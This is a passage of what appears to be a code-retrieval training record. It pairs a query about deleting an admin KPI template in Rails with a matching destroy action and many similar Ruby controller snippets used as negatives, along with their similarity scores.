t('template_updated') }\n else\n format.html { render :edit}\n end\n end\n end", "def update\n @node_template = NodeTemplate.find(params[:id])\n\n respond_to do |format|\n if @node_template.update_attributes(params[:node_template])\n format.html { redirect_to @node_template, notice: 'Node template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_template(key, value)\n t = { key => value }\n raw = read_attribute(\"template\") \n d = raw.nil? ? {} : JSON.parse(raw) \n merged = d.deep_merge(t)\n self.template = JSON.generate(merged)\n self.save!\n end", "def update\n respond_to do |format|\n if @item_template.update(item_template_params)\n format.html { redirect_to @item_template, notice: 'Item Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_params\n params.require(:template).permit(:name, :action)\n end", "def update\n @config_template = ConfigTemplate.find(params[:id])\n\n respond_to do |format|\n if @config_template.update_attributes(params[:config_template])\n format.html { redirect_to(@config_template, :notice => 'ConfigTemplate was successfully updated.') }\n format.json { head :ok }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @config_template.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @config_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n @status = args[:status] if args.key?(:status)\n @template_content = args[:template_content] if args.key?(:template_content)\n @template_name = args[:template_name] if args.key?(:template_name)\n @template_type = args[:template_type] if args.key?(:template_type)\n end", "def update\n respond_to do |format|\n if @doc_template.update(doc_template_params)\n format.html { redirect_to @doc_template, notice: 'Doc template was successfully updated.' }\n format.json { render :show, status: :ok, location: @doc_template }\n else\n format.html { render :edit }\n format.json { render json: @doc_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_params\n params.require(:template).permit(:name, elements: [:type, :ordinal])\n end", "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @docu_template.update(docu_template_params)\n format.html { redirect_to @docu_template, notice: 'Docu sign was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @docu_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question_template = QuestionTemplate.find(params[:id])\n params[:files].each_pair do |field_name, file|\n unless file.original_filename.empty?\n @question_template.send \"#{field_name}=\", file.original_filename\n end\n end\n respond_to do |format|\n if @question_template.update_attributes(params[:question_template])\n @question_template.upload_files(params[:files].values)\n format.html { redirect_to [:admin,@question_template], notice: 'Question template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_params\n params.require(:template).permit(:title, :desc, :creator, :templateVersion, :fields, :aprovable, :acknowledgeable, :defaultemail, :parent)\n end", "def update\n respond_to do |format|\n if @induction_template.update(induction_template_params)\n format.html { redirect_to @induction_template, notice: 'Induction template was successfully updated.' }\n format.json { render :show, status: :ok, location: @induction_template }\n else\n format.html { render :edit }\n format.json { render json: @induction_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @my_template.update(my_template_params)\n format.html { redirect_to @my_template, notice: 'My template was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_template }\n else\n format.html { render :edit }\n format.json { render json: @my_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_path\n Jets::Naming.api_gateway_template_path\n end", "def template_path\n Jets::Naming.api_gateway_template_path\n end", "def set_template\n tid = Integer(params[:id]) rescue nil\n if tid\n @template = Template.find_by_id(tid)\n else\n @template = Template.find_by_name(params[:id])\n end\n respond_err \"template\", @templates, \"i18> Template #{params[:id]} not found\" unless @template\n end", "def update \n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(name, html_url, zip_url, screenshot_url)\n options = { :body => { \n :Name => name,\n :HtmlPageURL => html_url,\n :ZipFileURL => zip_url,\n :ScreenshotURL => screenshot_url }.to_json }\n response = CreateSend.put \"/templates/#{template_id}.json\", options\n end", "def set_template\n end", "def update\n respond_to do |format|\n \n if @question_template.update(question_template_params)\n format.html { redirect_to @question_template, notice: 'Question template was successfully updated.' }\n format.json { render :show, status: :ok, location: @question_template }\n else\n format.html { render :edit }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def orgn_template_update\n @event.template_id = params[:template_id]\n\n if !params[:template_id]\n #redirect_to orgn_template_events_path, :flash => { :error => 'Select a template.' }\n flash[:alert] = 'Select a template.'\n render :action => :orgn_template\n return\n end\n \n @event.template_id = @event.template_id\n \n respond_to do |format|\n if @event.update(template_params)\n format.html { redirect_to event_invite_events_path }\n format.json { head :no_content }\n else\n format.html { redirect_to event_invite_events_path }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @templates = EmailTemplate.find(:all) \n @email_template = EmailTemplate.find(params[:id])\n @page_title = t('email_templates.new.title', :email_template_name => @email_template.name) \n respond_to do |format|\n if @email_template.update_attributes(params[:email_template])\n flash[:notice] = t('email_templates.new.success', :email_template_name => @email_template.name)\n format.html { redirect_to(edit_email_template_url(@email_template)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @email_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @description_template.update(description_template_params)\n format.html { redirect_to @description_template, notice: 'Description template was successfully updated.' }\n format.json { render :show, status: :ok, location: @description_template }\n else\n format.html { render :edit }\n format.json { render json: @description_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @template = Template.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_params\n params.require(:template).permit(:name)\n end", "def update\n @quest_template = QuestTemplate.find(params[:id])\n\n respond_to do |format|\n if @quest_template.update_attributes(params[:quest_template])\n flash[:notice] = 'QuestTemplate was successfully updated.'\n format.html { redirect_to(@quest_template) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @quest_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cf_template.update(cf_template_params)\n format.html { redirect_to cf_templates_path, notice: I18n.t('cf_templates.msg.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cf_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @admin_template_software = TemplateSoftware.find(params[:id])\n\n respond_to do |format|\n if @admin_template_software.update_attributes(params[:admin_template_software])\n format.html { redirect_to admin_template_software_url, notice: '공지사항이 수정되었습니다.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_template_software.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @template = CustomTemplate.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(params[:template])\n\t\tformat.html { redirect_to(\"/custom_templates/\" + @template.id.to_s + \"/edit\", :notice => 'CustomTemplate was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @template.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n template = Template.find(params[:id])\n authorize template\n begin\n args = template_params\n # Swap in the appropriate visibility enum value for the checkbox value\n args[:visibility] = parse_visibility(args, current_user.org)\n template.assign_attributes(args)\n template.links = ActiveSupport::JSON.decode(params['template-links']) if params['template-links'].present?\n if template.save\n render(json: {\n status: 200,\n msg: success_message(template, _('saved'))\n })\n else\n render(json: {\n status: :bad_request,\n msg: failure_message(template, _('save'))\n })\n end\n rescue ActiveSupport::JSON.parse_error\n render(json: {\n status: :bad_request,\n msg: format(_('Error parsing links for a %{template}'),\n template: template_type(template))\n })\n nil\n rescue StandardError => e\n render(json: {\n status: :forbidden,\n msg: e.message\n }) and return\n end\n end", "def template_params\n params.require(:template).permit(:name, :content)\n end", "def update\n @page_template = PageTemplate.find(params[:id])\n\n respond_to do |format|\n if @page_template.update_attributes(params[:page_template])\n format.html { redirect_to @page_template, notice: 'Page template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @gift_template = GiftTemplate.find(params[:id])\n\n respond_to do |format|\n if @gift_template.update_attributes(params[:gift_template])\n format.html { redirect_to gift_templates_path, notice: 'Gift template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gift_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @survey_item_template.update(survey_item_template_params)\n format.html { redirect_to @survey_item_template.survey_item_category_template.survey_template, notice: 'Survey item template was successfully updated.' }\n format.json { render :show, status: :ok, location: @survey_item_template }\n else\n format.html { render :edit }\n format.json { render json: @survey_item_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_params\n params.require(:template).permit(:name, :template_type, :template_sub_type, \n { uploaded_file_attributes: [:assets, :id] }, { thumbnail_image_attributes: [:assets, :id] } )\n end", "def update\n respond_to do |format|\n if @track_template.update(track_template_params)\n format.html { redirect_to @track_template, notice: 'Track template was successfully updated.' }\n format.json { render :show, status: :ok, location: @track_template }\n else\n format.html { render :edit }\n format.json { render json: @track_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def publish_templates\n # Use soure account ID to discover deployment\n @api.account_id = @options[:src]\n @old_deployment = @api.deployments(:id => @options[:deployment], :view => \"inputs_2_0\").show\n servers = @old_deployment.show.servers.index\n puts \"Discovered deployment: #{@old_deployment.name} ...\\n\\n\"\n\n # find href of current servers servertemplate and set it as the key in the server_templates hash\n servers.each do |server|\n puts \"Discovered server: #{server.name} ...\"\n\n if server.next_instance.show.server_template.show.revision == 0\n $stderr.puts \"ERROR: Cannot publish a HEAD version of a ServerTemplate. Please commit first.\"\n exit 1\n end\n @server_templates[server.next_instance.show.server_template.show.href] =\n {\"name\" => server.next_instance.show.server_template.show.name}\n end\n puts \"\\nDiscovered unique ServerTemplates:\\n\\n\"\n @server_templates.keys.each do |st|\n puts \"#{@server_templates[st]['name']}\"\n end\n\n # Publish each unique ServerTemplate\n puts \"\\n\"\n @server_templates.keys.each do |server_template|\n st = @api.resource(server_template)\n\n puts \"Publishing: \\\"#{st.name}\\\" to group: #{@options[:group]} ...\"\n response = st.publish(\n \"account_group_hrefs\" => [ \"/api/account_groups/#{@options[:group]}\" ],\n \"descriptions[long]\" => st.description,\n \"descriptions[short]\" => st.description[0..255],\n \"descriptions[notes]\" => \"Auto imported from account #{@options[:src]}\"\n )\n # Add publication URL to hash\n @server_templates[server_template]['publication_url'] = response.show.href\n end\nend", "def update\n respond_to do |format|\n \n #@template.creator = current_user.id\n if @template.update(template_params)\n @template.creator=current_user.id\n @template.save\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @script_template.update(script_template_params)\n format.html { redirect_to script_template_url(@script_template), notice: \"Script template was successfully updated.\" }\n format.json { render :show, status: :ok, location: @script_template }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @script_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def populate_template( template_id, imported_template )\n puts \"Populating new tempalte id: #{template_id}...\"\n\n uri = URI(@config['endpoint']+\"/#{template_id}/versions\")\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Post.new( uri.request_uri, initheader = {'Content-Type:' => 'application/json'} )\n request.basic_auth(@secondary_username, @secondary_password)\n\n\n # If versions exist, transfer each to new template\n imported_template['versions'].each do |version|\n version.delete(\"id\")\n version.delete(\"user_id\")\n version.delete(\"template_id\")\n version.delete(\"updated_at\")\n\n puts \" Adding template version #{version['name']}...\"\n payload = version.to_json\n request.body = payload\n response = http.request( request )\n response_message = JSON.parse( response.body )\n end\n end", "def update\n respond_to do |format|\n if @emailtemplate.update(emailtemplate_params)\n format.html { redirect_to admin_email_templates_url, notice: 'Email Template was successfully updated.' }\n format.json { head :no_content }\n else\n flash[:error] = \"#{@emailtemplate.errors.full_messages.first}\"\n format.html { render action: 'edit' }\n format.json { render json: @emailtemplate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @nagios_service_escalation_template = NagiosServiceEscalationTemplate.find(params[:id])\n\n respond_to do |format|\n if @nagios_service_escalation_template.update_attributes(params[:nagios_service_escalation_template])\n flash[:notice] = 'NagiosServiceEscalationTemplate was successfully updated.'\n format.html { redirect_to(@nagios_service_escalation_template) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @nagios_service_escalation_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @module_template = ModuleTemplate.find(params[:id])\n\n respond_to do |format|\n if @module_template.update_attributes(params[:module_template])\n format.html { redirect_to @module_template, notice: 'Module template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @module_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end", "def set_template\n @template = Template.find(params[:id])\n end", "def set_template\n @template = Template.find(params[:id])\n end", "def set_template\n @template = Template.find(params[:id])\n end", "def set_template\n @template = Template.find(params[:id])\n end", "def set_template\n @template = Template.find(params[:id])\n end", "def set_template\n @template = Template.find(params[:id])\n end", "def set_template\n @template = Template.find(params[:id])\n end", "def set_template\n @template = Template.find(params[:id])\n end", "def destroy\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.find(params[:id])\n @admin_kpi_category_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_category_templates_url }\n format.json { head :no_content }\n end\n end", "def template_params\n params.fetch(:template, {}).permit([:title, :data])\n end", "def update\n respond_to do |format|\n if @post_template.update(post_template_params)\n format.html { redirect_to @post_template, notice: 'Post template was successfully updated.' }\n format.json { render :show, status: :ok, location: @post_template }\n else\n format.html { render :edit }\n format.json { render json: @post_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @attr_template.update(attr_template_params)\n format.html { redirect_to @attr_template, notice: 'Attr template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attr_template.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6677234", "0.6605227", "0.6563711", "0.6366431", "0.63474077", "0.6313986", "0.6302278", "0.6235642", "0.62329364", "0.6221428", "0.61613137", "0.6146442", "0.613878", "0.60881495", "0.60746276", "0.6053903", "0.60427064", "0.6026944", "0.60222507", "0.59898096", "0.597725", "0.59766084", "0.59707457", "0.59543395", "0.5945782", "0.5921592", "0.5920157", "0.5919075", "0.59110564", "0.591022", "0.5897188", "0.58874935", "0.5879101", "0.5878869", "0.5875118", "0.58701557", "0.5867959", "0.586126", "0.5860145", "0.5858084", "0.5856574", "0.5853768", "0.58509594", "0.585069", "0.58490175", "0.58431804", "0.5843058", "0.5837982", "0.58364385", "0.58364046", "0.58364046", "0.5833979", "0.58320624", "0.5830821", "0.5828867", "0.5819469", "0.58165556", "0.5814644", "0.5814644", "0.58138925", "0.581357", "0.5807742", "0.58040774", "0.58039075", "0.57842475", "0.5767578", "0.576665", "0.5759428", "0.57562613", "0.57561404", "0.57504857", "0.57322556", "0.57284296", "0.57228214", "0.571973", "0.57169485", "0.5711737", "0.57104456", "0.57018936", "0.57010436", "0.56995296", "0.5696213", "0.56931686", "0.56917435", "0.5685481", "0.5685234", "0.5684673", "0.5678737", "0.5677058", "0.5677058", "0.5677058", "0.5677058", "0.5677058", "0.5677058", "0.5677058", "0.5677058", "0.5671633", "0.5659847", "0.5654816", "0.5653193" ]
0.72135085
0
DELETE /admin/kpi_templates/1 DELETE /admin/kpi_templates/1.json
def destroy @admin_kpi_template = Admin::KpiTemplate.find(params[:id]) @admin_kpi_template.destroy respond_to do |format| format.html { redirect_to admin_kpi_templates_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n super \"/templates/#{template_id}.json\", {}\n end", "def delete\n response = CreateSend.delete \"/templates/#{template_id}.json\", {}\n end", "def destroy\n @admin_template = Template.find(params[:id])\n @admin_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.find(params[:id])\n @admin_kpi_category_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_category_templates_url }\n format.json { head :no_content }\n end\n end", "def delete(options={})\n DNSimple::Client.delete \"templates/#{id}\", options\n end", "def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend", "def delete(name)\n r = request('DeleteTemplate', { :name => name })\n return r['status'] == ' ok ' \n end", "def delete_content_template(id)\n # TODO: Inform ContentTemplateController.destroy method has been modified\n @client.raw('delete', \"/content/templates/#{id}\")\n end", "def destroy\n @rcadmin_email_template.destroy\n respond_to do |format|\n\t flash[:notice] = 'Email template was successfully deleted.'\n format.html { redirect_to rcadmin_email_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @_template = @site.templates.find(params[:id])\n @_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_site_templates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_template_software = TemplateSoftware.find(params[:id])\n @admin_template_software.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_template_software_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cf_template.destroy\n respond_to do |format|\n format.html { redirect_to cf_templates_url, notice: I18n.t('cf_templates.msg.deleted') }\n format.json { head :no_content }\n end\n end", "def destroy\n @docu_template.destroy\n respond_to do |format|\n format.html { redirect_to docu_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :ok }\n end\n end", "def destroy\n @project_template = ProjectTemplate.find(params[:id])\n @project_template.destroy\n\n respond_to do |format|\n format.html { redirect_to project_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invoice_template = InvoiceTemplate.find(params[:id])\n @invoice_template.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize! :manage, :all\n @question_template.destroy\n respond_to do |format|\n format.html { redirect_to question_templates_url, notice: 'Question template was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n destroy_resource @template, templates_url, t('templates.delete_success')\n end", "def delete(id)\n @client.call(method: :delete, path: \"templates/#{id}\")\n end", "def delete(options={})\n DNSimple::Client.delete(\"/v1/templates/#{id}\", options)\n end", "def destroy\n @attr_template.destroy\n respond_to do |format|\n format.html { redirect_to attr_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @template_package.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end", "def delete_template(opts)\n post(\"/template/delete/#{opts[:template_id]}\")\n end", "def destroy\n @template = set_template\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item_template.destroy\n respond_to do |format|\n format.html { redirect_to item_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inventory_template = InventoryTemplate.find(params[:id])\n @inventory_template.destroy\n\n respond_to do |format|\n format.html { redirect_to inventory_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @induction_template.destroy\n respond_to do |format|\n format.html { redirect_to induction_templates_url, notice: 'Induction template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(data)\n result = @client.api_request(:method => \"template.delete\", :params => [data])\n result.empty? ? nil : result['templateids'][0].to_i\n end", "def destroy\n @node_template = NodeTemplate.find(params[:id])\n @node_template.destroy\n\n respond_to do |format|\n format.html { redirect_to node_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_template.destroy\n respond_to do |format|\n format.html { redirect_to my_templates_url, notice: 'My template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @policy_template.destroy\n respond_to do |format|\n format.html { redirect_to policy_templates_url, notice: 'Policy template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @purchase_template = PurchaseTemplate.find(params[:id])\n @purchase_template.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @nagios_service_escalation_template = NagiosServiceEscalationTemplate.find(params[:id])\n @nagios_service_escalation_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(nagios_service_escalation_templates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lcb_template.destroy\n respond_to do |format|\n format.html { redirect_to lcb_templates_url, notice: 'Lcb template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @page_template = PageTemplate.find(params[:id])\n @page_template.destroy\n\n respond_to do |format|\n format.html { redirect_to page_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @module_template = ModuleTemplate.find(params[:id])\n @module_template.destroy\n\n respond_to do |format|\n format.html { redirect_to module_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @custom_template.destroy\n redirect_to custom_templates_url\n end", "def destroy\n audit(@service_template, \"destroy\", @service_template.name)\n authorize @service_template\n\n @service_template.destroy\n respond_to do |format|\n format.html { redirect_to service_templates_url, notice: 'Service template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @template.destroy\n end", "def destroy\n @item_template.destroy\n respond_to do |format|\n format.html { redirect_to item_templates_url, notice: 'Item template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @custom_pet_template.destroy\n respond_to do |format|\n format.html { redirect_to custom_pet_templates_url }\n format.json { head :no_content }\n end\n end", "def delete\n item = FormTemplate.last\n id = item[:id]\n item.destroy\n render json: {id: id}\n end", "def destroy\n @doc_template.destroy\n respond_to do |format|\n format.html { redirect_to doc_templates_url, notice: 'Doc template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_template = ContentTemplate.find(params[:id])\n @content_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_content_templates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @config_template = ConfigTemplate.find(params[:id])\n json=@config_template.to_json\n xml=@config_template.to_xml\n\n @config_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_templates_url) }\n format.json { render :json => json }\n format.xml { render :xml => xml }\n end\n end", "def destroy\n @bulk_message_template = BulkMessageTemplate.find(params[:id])\n @bulk_message_template.destroy\n\n respond_to do |format|\n format.html { redirect_to bulk_message_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_path, notice: 'template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gift_template = GiftTemplate.find(params[:id])\n @gift_template.destroy\n\n respond_to do |format|\n format.html { redirect_to gift_templates_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @description_template.destroy\n respond_to do |format|\n format.html { redirect_to description_templates_url, notice: 'Description template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if @template.destroy\n respond_ok \"template\", @template\n else\n respond_err \"template\", @template, @template.errors\n end\n end", "def destroy\n mytemplate = Mytemplate.get(params[:id])\n close_document(mytemplate)\n \n begin\n if mytemplate != nil\n if File.exist?(mytemplate.path) \n FileUtils.rm_rf mytemplate.path\n end\n \n if File.exist?(mytemplate.file_path+mytemplate.id.to_s) \n FileUtils.rm_rf mytemplate.file_path+mytemplate.id.to_s\n end\n\n end\n rescue\n puts_message \"Error! in progress of mytemplate file deletion.\"\n end\n\n mytemplate.destroy\n \n respond_to do |format|\n format.html { redirect_to(mytemplates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @show_template.destroy\n respond_to do |format|\n format.html { redirect_back_to show_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @script_template.destroy\n\n respond_to do |format|\n format.html { redirect_to script_templates_url, notice: \"Script template was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @email_template = EmailTemplate.find(params[:id])\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @email_template = EmailTemplate.find(params[:id])\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @crawler_template = CrawlerTemplate.find(params[:id])\n @crawler_template.destroy\n\n respond_to do |format|\n format.html { redirect_to crawler_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @emailtemplate.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mailee_template = Mailee::Template.find(params[:id])\n @mailee_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(mailee_templates_url) }\n format.xml { head :ok }\n end\n end", "def delete(data)\n result = @client.api_request(:method => \"template.delete\", :params => [:templateid => data])\n result.empty? ? nil : result['templateids'][0].to_i\n end", "def destroy\n @inspection_template.destroy\n respond_to do |format|\n format.html { redirect_to inspection_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @newsletters_template = Newsletters::Template.find(params[:id])\n @newsletters_template.destroy\n\n respond_to do |format|\n format.html { redirect_to newsletters_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to dashboard_path, notice: t('template_destroyed') }\n end\n\n end", "def destroy\n @post_template.destroy\n respond_to do |format|\n format.html { redirect_to post_templates_url, notice: 'Post template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @quest_template = QuestTemplate.find(params[:id])\n \n begin\n @quest_template.quest_giver.destroy\n @quest_template.quest_involver.destroy\n rescue Exception => e\n end\n @quest_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(quest_templates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n current_site.grid_templates.find(params[:id]).destroy\n index\n end", "def destroy\n if !is_admin\n respond_to do |format|\n format.html { redirect_to action: \"index\" }\n format.js { head :ok }\n end\n else\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n @product_template.destroy\n respond_to do |format|\n format.html { redirect_to product_templates_url, notice: 'Product template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_template.destroy\n respond_to do |format|\n format.html { redirect_to organization_survey_templates_url(@organization), notice: 'Survey was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire_template.destroy\n respond_to do |format|\n format.html { redirect_to questionnaire_templates_url, notice: 'questionnaire template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n current_user.templates.delete(@template)\n # Remove from integrations\n @template.integrations.each do |integration|\n integration.templates.delete(@template)\n\n # check if integrations has agents, remove if all empty\n if integration.agents.empty?\n current_user.integrations.delete(integration)\n integration.destroy\n end\n end\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @administration_email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(administration_email_templates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @form_template.destroy\n respond_to do |format|\n format.html { redirect_to form_templates_url, notice: 'Formularvorlage wurde erfolgreich gelöscht' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_template.destroy\n respond_to do |format|\n format.html { redirect_to content_templates_url, notice: 'Content template was 